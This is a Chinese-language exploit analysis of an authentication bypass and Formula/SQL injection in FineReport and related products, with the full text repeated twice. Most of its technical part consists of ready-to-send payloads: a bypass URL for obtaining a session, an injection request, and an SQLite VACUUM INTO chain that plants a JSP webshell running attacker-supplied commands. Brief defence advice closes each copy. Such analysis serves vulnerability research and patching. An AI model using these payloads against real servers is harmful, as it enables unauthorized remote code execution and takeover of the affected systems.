帆软报表 export/excel SQL注入与Webshell落地利用分析
漏洞概述
帆软报表(FineReport)在 export/excel 接口中存在安全漏洞,由于对传入的参数没有严格校验,攻击者可构造恶意的 SQL 语句上传 Webshell 实现远程代码执行,进而获取服务器权限。
漏洞影响范围
- FineReport < 11.5.4.1
- FineBi 7.0.* < 7.0.5
- FineBi 6.1.* < 6.1.8
- FineBi 6.0.* < 6.0.24
- FineDataLink 5.0.* < 5.0.4.3
- FineDataLink 4.0.* < 4.2.11.3
技术分析
鉴权绕过分析
1. 请求拦截器检查机制
帆软的请求在到达实际业务代码前,会经过多个Interceptor的校验,其中DecisionInterceptor负责对模板的鉴权操作。
在DecisionInterceptor中会对请求经过多次检查,检查的List如下:
getRequestChecker() // 获取请求检查器列表
2. 条件1:通过acceptRequest检查
在com.fr.decision.webservice.interceptor.handler.ReportTemplateRequestChecker#acceptRequest中:
public boolean acceptRequest(HttpServletRequest var1, HandlerMethod var2) {
TemplateAuth var3 = (TemplateAuth)var2.getMethod().getAnnotation(TemplateAuth.class);
return var3 != null && var3.product() == TemplateProductType.FINE_REPORT
&& StringUtils.isNotEmpty(this.getTemplateId(var1, var2));
}
关键函数getTemplateId会检查请求是否包含以下参数:
- viewlet
- reportlet
- formlet
- reportlets
3. 条件2:利用checkTemplateAuthority缺陷
在com.fr.decision.webservice.interceptor.handler.TemplateRequestChecker#getTempAuthValidatorStatus中:
List<TempAuthValidatorStatus> getTempAuthValidatorStatus(HttpServletRequest var1, String var2, int var3) {
// 需要让返回列表包含null元素
var4.add(this.getTempAuthStatus(var1, var2, var3));
}
要让getTempAuthStatus返回null,需要让detectTemplateNeedAuthenticate返回false。
绕过方法:
- 传入模板名称为
/:/webroot/decision/view/report?reportlets=/ - 或使用JSON格式:
/webroot/decision/view/report?reportlets=[{'reportlet':'/'}]
获取sessionId
条件3:设置op=getSessionID
在com.fr.web.core.ReportDispatcher#dealWithRequest中,通过传递op=getSessionID参数获取合法的sessionId。
条件4:进入GroupReportletCreator
需要选择合适的WebletCreator,其中GroupReportletCreator满足条件:
- 请求参数:viewlets 或 reportlets
- match条件:参数值以
[开头,以]结尾
联立条件生成有效payload
综合以上条件,最终的鉴权绕过payload为:
/webroot/decision/view/report?op=getSessionID&reportlets=[{'reportlet':'/'}]
执行任意Formula表达式
漏洞接口分析
存在漏洞的路由为export/excel,对应处理类:
com.fr.nx.app.web.v9.handler.handler.largeds.LargeDatasetExcelExportHandler#doHandle
关键参数构造
请求需要包含以下参数:
- sessionID:通过鉴权绕过获取的sessionId
- params:XML格式的参数,包含Formula表达式
- parameters:空JSON对象
{} - functionParams:空JSON对象
{}
Formula表达式注入payload结构
<R>
<LargeDatasetExcelExportJS exportFileName="waibiwaibi" dsName="ds1" colNames="{}" exportFormat="excel" encodeFormat="UTF-8"/>
<Parameters>
<Parameter>
<Attributes name="p1"></Attributes>
<Object t="Formula">
<Attributes>sql('FRDemo', DECODE('编码后的SQL语句'), 1, 1)</Attributes>
</Object>
</Parameter>
</Parameters>
</R>
完整请求示例
GET /webroot/decision/nx/report/v9/largedataset/export/excel HTTP/1.1
Host: target.com:8075
sessionID: 获取的sessionId
params: <R><LargeDatasetExcelExportJS exportFileName="test" dsName="ds1" colNames="{}" exportFormat="excel" encodeFormat="UTF-8"/><Parameters><Parameter><Attributes name="p1"></Attributes><Object t="Formula"><Attributes>sql('FRDemo', DECODE('%2573%2565%256c%2565%2563%2574%2520%2527%2574%2565%2573%2574%2527'),1,1)</Attributes></Object></Parameter></Parameters></R>
__parameters__: {}
functionParams: {}
Webshell落地利用
SQLite数据库特性利用
新版帆软增加了安全过滤,但可以利用SQLite的VACUUM和REPLACE功能:
1. 创建表存储webshell
CREATE TABLE shell_data1 (payload text);
2. 插入webshell内容
REPLACE INTO shell_data1 VALUES ('<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>');
3. 导出为JSP文件
VACUUM INTO '../webapps/webroot/shell.jsp';
完整webshell payload
<R>
<Parameters>
<Parameter>
<Attributes name="p1"></Attributes>
<Object t="Formula">
<Attributes>sql('FRDemo',DECODE('CREATE+TABLE+shell_data1+(payload+text);'),1,1)</Attributes>
</Object>
</Parameter>
<Parameter>
<Attributes name="p2"></Attributes>
<Object t="Formula">
<Attributes>sql('FRDemo',DECODE('REPLACE+INTO+shell_data1+VALUES+(%27<%+Runtime.getRuntime().exec(request.getParameter("cmd"));+%>%27);'),1,1)</Attributes>
</Object>
</Parameter>
<Parameter>
<Attributes name="p3"></Attributes>
<Object t="Formula">
<Attributes>sql('FRDemo',DECODE('VACUUM+INTO+%27../webapps/webroot/shell.jsp%27;'),1,1)</Attributes>
</Object>
</Parameter>
</Parameters>
<LargeDatasetExcelExportJS exportFileName="test" dsName="ds1" colNames="{}" exportFormat="excel" encodeFormat="UTF-8"/>
</R>
Windows环境特殊处理
在Windows环境下,需要开启JSP解析:
GET /webroot/decision/file?path=org.apache.jasper.servlet.JasperInitializer&type=class
防御建议
- 及时更新:升级到安全版本
- 输入验证:加强对用户输入的校验和过滤
- 权限控制:严格限制数据库操作权限
- 安全配置:禁用不必要的数据库功能
- 日志监控:加强对异常请求的监控和告警
总结
该漏洞通过巧妙的鉴权绕过和Formula表达式注入,结合SQLite数据库特性实现Webshell落地,具有较高的危害性。防护需要从多个层面进行综合防御。
帆软报表 export/excel SQL注入与Webshell落地利用分析
漏洞概述
帆软报表(FineReport)在 export/excel 接口中存在安全漏洞,由于对传入的参数没有严格校验,攻击者可构造恶意的 SQL 语句上传 Webshell 实现远程代码执行,进而获取服务器权限。
漏洞影响范围
- FineReport < 11.5.4.1
- FineBi 7.0.* < 7.0.5
- FineBi 6.1.* < 6.1.8
- FineBi 6.0.* < 6.0.24
- FineDataLink 5.0.* < 5.0.4.3
- FineDataLink 4.0.* < 4.2.11.3
技术分析
鉴权绕过分析
1. 请求拦截器检查机制
帆软的请求在到达实际业务代码前,会经过多个Interceptor的校验,其中DecisionInterceptor负责对模板的鉴权操作。
在DecisionInterceptor中会对请求经过多次检查,检查的List如下:
getRequestChecker() // 获取请求检查器列表
2. 条件1:通过acceptRequest检查
在com.fr.decision.webservice.interceptor.handler.ReportTemplateRequestChecker#acceptRequest中:
public boolean acceptRequest(HttpServletRequest var1, HandlerMethod var2) {
TemplateAuth var3 = (TemplateAuth)var2.getMethod().getAnnotation(TemplateAuth.class);
return var3 != null && var3.product() == TemplateProductType.FINE_REPORT
&& StringUtils.isNotEmpty(this.getTemplateId(var1, var2));
}
关键函数getTemplateId会检查请求是否包含以下参数:
- viewlet
- reportlet
- formlet
- reportlets
3. 条件2:利用checkTemplateAuthority缺陷
在com.fr.decision.webservice.interceptor.handler.TemplateRequestChecker#getTempAuthValidatorStatus中:
List<TempAuthValidatorStatus> getTempAuthValidatorStatus(HttpServletRequest var1, String var2, int var3) {
// 需要让返回列表包含null元素
var4.add(this.getTempAuthStatus(var1, var2, var3));
}
要让getTempAuthStatus返回null,需要让detectTemplateNeedAuthenticate返回false。
绕过方法:
- 传入模板名称为
/:/webroot/decision/view/report?reportlets=/ - 或使用JSON格式:
/webroot/decision/view/report?reportlets=[{'reportlet':'/'}]
获取sessionId
条件3:设置op=getSessionID
在com.fr.web.core.ReportDispatcher#dealWithRequest中,通过传递op=getSessionID参数获取合法的sessionId。
条件4:进入GroupReportletCreator
需要选择合适的WebletCreator,其中GroupReportletCreator满足条件:
- 请求参数:viewlets 或 reportlets
- match条件:参数值以
[开头,以]结尾
联立条件生成有效payload
综合以上条件,最终的鉴权绕过payload为:
/webroot/decision/view/report?op=getSessionID&reportlets=[{'reportlet':'/'}]
执行任意Formula表达式
漏洞接口分析
存在漏洞的路由为export/excel,对应处理类:
com.fr.nx.app.web.v9.handler.handler.largeds.LargeDatasetExcelExportHandler#doHandle
关键参数构造
请求需要包含以下参数:
- sessionID:通过鉴权绕过获取的sessionId
- params:XML格式的参数,包含Formula表达式
- parameters:空JSON对象
{} - functionParams:空JSON对象
{}
Formula表达式注入payload结构
<R>
<LargeDatasetExcelExportJS exportFileName="waibiwaibi" dsName="ds1" colNames="{}" exportFormat="excel" encodeFormat="UTF-8"/>
<Parameters>
<Parameter>
<Attributes name="p1"></Attributes>
<Object t="Formula">
<Attributes>sql('FRDemo', DECODE('编码后的SQL语句'), 1, 1)</Attributes>
</Object>
</Parameter>
</Parameters>
</R>
完整请求示例
GET /webroot/decision/nx/report/v9/largedataset/export/excel HTTP/1.1
Host: target.com:8075
sessionID: 获取的sessionId
params: <R><LargeDatasetExcelExportJS exportFileName="test" dsName="ds1" colNames="{}" exportFormat="excel" encodeFormat="UTF-8"/><Parameters><Parameter><Attributes name="p1"></Attributes><Object t="Formula"><Attributes>sql('FRDemo', DECODE('%2573%2565%256c%2565%2563%2574%2520%2527%2574%2565%2573%2574%2527'),1,1)</Attributes></Object></Parameter></Parameters></R>
__parameters__: {}
functionParams: {}
Webshell落地利用
SQLite数据库特性利用
新版帆软增加了安全过滤,但可以利用SQLite的VACUUM和REPLACE功能:
1. 创建表存储webshell
CREATE TABLE shell_data1 (payload text);
2. 插入webshell内容
REPLACE INTO shell_data1 VALUES ('<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>');
3. 导出为JSP文件
VACUUM INTO '../webapps/webroot/shell.jsp';
完整webshell payload
<R>
<Parameters>
<Parameter>
<Attributes name="p1"></Attributes>
<Object t="Formula">
<Attributes>sql('FRDemo',DECODE('CREATE+TABLE+shell_data1+(payload+text);'),1,1)</Attributes>
</Object>
</Parameter>
<Parameter>
<Attributes name="p2"></Attributes>
<Object t="Formula">
<Attributes>sql('FRDemo',DECODE('REPLACE+INTO+shell_data1+VALUES+(%27<%+Runtime.getRuntime().exec(request.getParameter("cmd"));+%>%27);'),1,1)</Attributes>
</Object>
</Parameter>
<Parameter>
<Attributes name="p3"></Attributes>
<Object t="Formula">
<Attributes>sql('FRDemo',DECODE('VACUUM+INTO+%27../webapps/webroot/shell.jsp%27;'),1,1)</Attributes>
</Object>
</Parameter>
</Parameters>
<LargeDatasetExcelExportJS exportFileName="test" dsName="ds1" colNames="{}" exportFormat="excel" encodeFormat="UTF-8"/>
</R>
Windows环境特殊处理
在Windows环境下,需要开启JSP解析:
GET /webroot/decision/file?path=org.apache.jasper.servlet.JasperInitializer&type=class
防御建议
- 及时更新:升级到安全版本
- 输入验证:加强对用户输入的校验和过滤
- 权限控制:严格限制数据库操作权限
- 安全配置:禁用不必要的数据库功能
- 日志监控:加强对异常请求的监控和告警
总结
该漏洞通过巧妙的鉴权绕过和Formula表达式注入,结合SQLite数据库特性实现Webshell落地,具有较高的危害性。防护需要从多个层面进行综合防御。